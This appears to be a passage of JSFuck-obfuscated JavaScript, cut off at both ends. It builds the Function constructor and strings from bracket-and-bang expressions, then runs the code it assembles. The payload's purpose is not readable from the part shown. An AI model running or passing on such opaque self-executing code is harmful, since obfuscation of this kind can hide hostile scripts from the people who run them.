[][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[!+[] + !+[] + [+!+[]]] + (!+[] + !+[] + !+[] + !+[] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]]) + []) + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[(![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[!+[] + !+[] + !+[]]]((+((+(+!+[] + [+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + [!+[] + !+[]] + [+[]]) + [])[+!+[]] + [+[] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+!+[]]]) + [])[!+[] + !+[]] + [+!+[]]) + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()(([] + [])[([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]] + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]())[!+[] + !+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[(![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[!+[] + !+[] + !+[]]]((+((+(+!+[] + [+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + [!+[] + !+[]] + [+[]]) + [])[+!+[]] + [+[] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+!+[]]]) + [])[!+[] + !+[]] + [+!+[]]) + (![] + [])[+!+[]] + (!![] + [])[+[]] + (!![] + [])[!+[] + !+[] + !+[]])()())[!+[] + !+[] + !+[] + [+[]]] + (+[] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]])[+!+[] + [+[]]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + ([][[]] + [])[+[]] + ([][[]] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + 